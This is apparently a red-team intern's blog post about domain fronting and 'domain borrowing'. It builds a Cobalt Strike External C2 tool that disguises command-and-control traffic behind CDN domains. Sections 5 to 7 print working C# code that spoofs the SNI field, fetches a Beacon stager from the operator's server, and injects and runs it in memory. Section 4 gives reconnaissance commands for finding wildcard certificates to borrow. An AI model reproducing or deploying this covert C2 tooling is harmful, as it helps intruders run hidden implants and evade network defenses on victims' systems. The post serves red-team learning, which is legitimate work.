Week 4

Coming up on this weeks episode of “Intern for a Red Team”. A thrilling story about domain fronting and why it’s dying. A unique insight into domain borrowing for dummies. And a DIY guide to pimp your Cobalt Strike with Malleable C2 profiles and ExternalC2.

1. tap tap is this thing on?

Last week I almost bored you to death with the intricacies of process injection and how to evade EDR/AV. Not to worry, this week we take a step back from all the technicalities and take a look at some new and old methods of exfiltrating Command & Control (C2) traffic and how to configure them using Cobalt Strike and Covenant.

2. The end of an era

Domain Fronting is a popular technique to bypass censorship and exfiltrate C2 traffic. To understand it we need to know how a basic HTTP request works.

The first thing that happens is the operating system performing a DNS request to figure out where to send the HTTP request. When the DNS lookup is successfull, a TCP connection is made between the client and the server. Finally the HTTP request is sent.

At its core, a basic HTTP request looks like this:

GET / HTTP/1.1
Host: google.com

When a normal HTTP request is made, the hostname in the URL e.g https://google.com will match the hostname in the Host: header field, but this doesn’t have to be the case. The Host: header field is frequently used to resolve virtual hosts. Content Delivery Networks (CDNs) are a prime example. When a HTTP request is sent to a CDN server, it will look at the Host: header field to determine where to send it. We can abuse this by editing the Host: header field to make it look like we are sending a HTTP request to a legitimate website, but actually have the CDN forward the request to our malicious server instead.

Domain Fronting

Naturally, this would be very easy to detect by comparing the target URL and the Host: header field, and flag the request when they don’t match. This is where TLS comes in. When making a HTTPS request, the host header is actually encrypted and thus invisible.

For quite some time Domain Fronting was a great option to exfiltrate C2 traffic and bypass host header based filtering. However, in spring of 2018, major CDN providers like Amazon and Google dropped support for Domain Fronting under threats from the Russian Government. The majority of CDN providers has followed suit, which leaves a lot of red teams looking for alternatives and new techniques.

3. Do you mind if I borrow your domain?

A new technique dubbed “Domain Borrowing” was recently presented at Blackhat Asia 2021 by Junyu Zhou and Tianze Ding. They released a public PoC for Covenant.

SSL stripping and comparing the Host header and the Server Name Indication (SNI) field is one of the contributing factors that killed Domain Fronting. SNI is an extension to the TLS protocol by which a client indicates which hostname it is attempting to connect to at the start of the handshaking process. A possible workaround is to use Encrypted SNI (ESNI), however requests that have both a SNI and ESNI are frequently blocked by enterprise environments, Cloudflare, and even country-wide firewalls.

Domain Borrowing is in a sense much like Domain Fronting, except it makes sure the Host header and SNI field are the same. When a CDN is registered, a certificate and private key are uploaded to the CDN after which a CNAME DNS record is created that points the cdn.domain.name to the CDN provider’s servers.

A client performing a HTTPS request can use another CDN domain hosted at the same CDN provider for DNS resolution.

CDN DNS Resolution

Combined with a CDN provider that lets us register arbitrary domains without validation we end up in a scenario where we use a legitimate domain for DNS resolution and perform a HTTPS request with our malicious target in the Host and SNI fields.

Malicious request

This is great to bypass Domain Fronting detection when SSL stripping is performed and the Host and SNI fields are compared, but it still uses incorrect HTTPS certificates. When a CDN can’t find the certificate, it will most likely send the default certificate to the client. Some CDNs send a TCP RST to the client.

There are multiple ways to obtain a valid HTTPS certificate outlined in the slides. One of these methods leverages improper distribution of wildcard certificates.

Borrow wildcard certificate

4. On the hunt

There are a couple ways of finding wildcard certificates. Using crt.sh you can get a quick overview of all the registered certificates associated with a domain.

crt.sh

Then you can start digging deeper with commands like dig, whois and curl --resolve.

dig bootstrapcdn.com dig bootstrapcdn.com

curl https://img.bootstrapcdn.com/test.php --resolve img.bootstrapcdn.com:443:151.139.128.11 -v curl resolve

A majority of websites are hidden behind reverse proxies like Cloudflare so you’ll need to dig deeper to figure out their actual server IP.

5. How to malware, a DIY approach

The original PoC written in C# implements Domain Borrowing for the Covenant framework. I set out on a journey to port this over to Cobalt Strike.

At first I tried to use Cobalt Strike’s Malleable C2 profile. Malleable C2 allows you to completely customize and control what your Beacon’s HTTP traffic looks like. A single profile can be specified for use at startup of the Teamserver.

./teamserver [external IP] [password] [/path/to/my.profile]

Malleable C2 controls things like HTTP methods, encryption and compression routines, cookies, headers, jitter, user agents and more. Unfortunately as of right now it doesn’t let you control the SNI field :(

Back to the drawing board I went.

Shortly after, I ended up watching Rasta Mouse stream some Covenant development on Twitch. He was working on a Bridge to implement communication between Covenants Teamserver and Implant (Grunt) over DNS. That reminded me of Cobalt Strike’s External C2 spec which I briefly touched on when I looked at F-Secure’s C3. I also remembered Ryan Hanson wrote a C# implementation of the External C2 spec, which was used by the DNS over HTTPS project I previously looked at.

I ended up combining Ryan’s External C2 library with the Covenant PoC and rewrote parts of it to be compatible with .NET Core 3.1 and change the way the server handles requests from the CDN. The result is DomainBorrowingC2.

6. ServerC2

ServerC2 is a basic ASP.NET Core application which acts as a listener for ClientC2 via endpoints. ServerC2 is responsible for relaying traffic coming from ClientC2 via the CDN to Cobalt Strike’s Teamserver via the ExternalC2 Socket. I modified the controllers to separate traffic meant for fetching the stager to use the /stager endpoint and traffic that originates from Beacon and is meant for the Teamserver to use /beacon. I also had to change the HTTP method PUT to POST because the CDN provider did not handle that correctly.

7. ClientC2

ClientC2 is a .NET Core 3.1 Console application. This is mostly a thinned out version of Ryan’s ExternalC2, but with a custom HttpsClient provided by the Covenant PoC and a custom implementation of the WebChannel, now called DomainBorrowingChannel (original I know).

The HttpsClient’s initSsl() method holds the secret to domain borrowing, namely setting the SNI manually.

private SslStream initSsl()
{
    X509Certificate2 ourCA = new X509Certificate2();
    RemoteCertificateValidationCallback callback = (sender, cert, chain, errors) =>
    {
        bool valid = true;
        if (valid && ValidateCert)
        {
            valid = errors == SslPolicyErrors.None;
        }
        return valid;
    };
    try
    {
        TcpClient client = new TcpClient(ip, port);
        SslStream sslStream = new SslStream(client.GetStream(), false, callback, null);
        // we pass SNI as first parameter to AuthenticateAsClient()
        sslStream.AuthenticateAsClient(sni, null, SslProtocols.Tls | (SslProtocols)768 | (SslProtocols)3072 | (SslProtocols)12288, true);
        return sslStream;
    }
    catch (Exception e)
    {
        Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace);
        return null;
    }
}

The main goal of ClientC2 is fetching and executing the stager from ServerC2. It does this in 2 steps. First it sets up a connection and asks for options to configure itself by sending an OPTIONS request. ServerC2 will respond with an identifier header X-Id-Header and a Beacon identifier header X-Identifier. The X-Id-Header is used to distinguish requests from ClientC2 from regular HTTP traffic.

public bool Connect()
{
    string[] parseHeaders = _client.Options("/beacon", "").Split("\n");
    string idHeader = string.Empty;
    string beaconId = string.Empty;

    foreach(string header in parseHeaders)
    {
        if(header.Contains("X-Id-Header"))
        {
            idHeader = header.Split(" ")[1];
        }
        else if(header.Contains("X-Identifier"))
        {
            beaconId = header.Split(" ")[1];
        }
    }

    if(beaconId != null)
    {
        this.BeaconId = new Guid(beaconId);
        headers.Add(idHeader, this.BeaconId.ToString());
        this.Connected = true;
    }
    else
    {
        this.Connected = false;
    }

    return this.Connected;
}

Next it will fetch the stager from the /stager endpoint. We configure a custom User Agent to make sure we get past Cobalt Strike’s default blocklist and specify the system architecture which is used by Cobalt Strike to determine the type of payload.

public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100)
{
    var bits = is64Bit ? "x64" : "x86";
    headers.Add("User-Agent", $"Mozilla/5.0 (Windows NT 10.0; {bits}; Trident/7.0; rv:11.0) like Gecko");

    var response = _client.Post("/stager", string.Empty, headers);

    return Convert.FromBase64String(response);
}

The client will then inject the stager into the current process and execute it in memory and attempt to connect to Beacon.

public override Func<bool> Initialize => () =>
{
    Console.WriteLine("[-] Connecting to Web Endpoint");
    if (!Server.Connect()) return false;

    Console.WriteLine("[-] Grabbing stager bytes");
    PipeName = Server.BeaconId;
    var stager = Server.GetStager(PipeName.ToString(), Is64Bit);

    Console.WriteLine("[-] Creating new stager thread");
    if (InjectStager(stager) == 0) return false;
    Console.WriteLine("[+] Stager thread created!");

    Console.WriteLine($"[-] Connecting to pipe {PipeName}");
    Beacon.SetPipeName(PipeName);
    if (!Beacon.Connect()) return false;
    Console.WriteLine("[+] Connected to pipe. C2 initialization complete!");

    return true;
};

Et voila, we have a successful callback.

Callback

8. Wrapping up

Another productive week. The Domain Borrowing project is available on GitHub. It is still in its early stages and has very limited functionality, so I’ll be working on expanding it to support tasks, and maybe be a little less obvious.

NtDelayExecution(FALSE, 604800000);